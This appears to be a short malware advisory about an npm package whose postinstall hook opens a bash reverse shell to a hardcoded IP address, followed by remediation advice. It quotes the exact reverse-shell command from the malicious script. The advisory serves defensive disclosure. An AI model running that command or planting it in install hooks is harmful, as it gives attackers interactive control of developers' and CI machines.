This package's postinstall hook executes node index.js, which runs execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1') — an interactive bash reverse shell to the hardcoded attacker IP 52.249.218.132 on TCP port 8080. Any developer or CI system that runs npm install hello-world-pkg-value-value-p hands an interactive shell (running as the installing user) to whoever controls that IP. The package metadata is a meaningless-name cover story ('minimal npm...') with no legitimate functionality; the sole effect of installation is to open a remote shell on the installer's host. This is unambiguous unauthenticated RCE against the installer with no legitimate use case.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
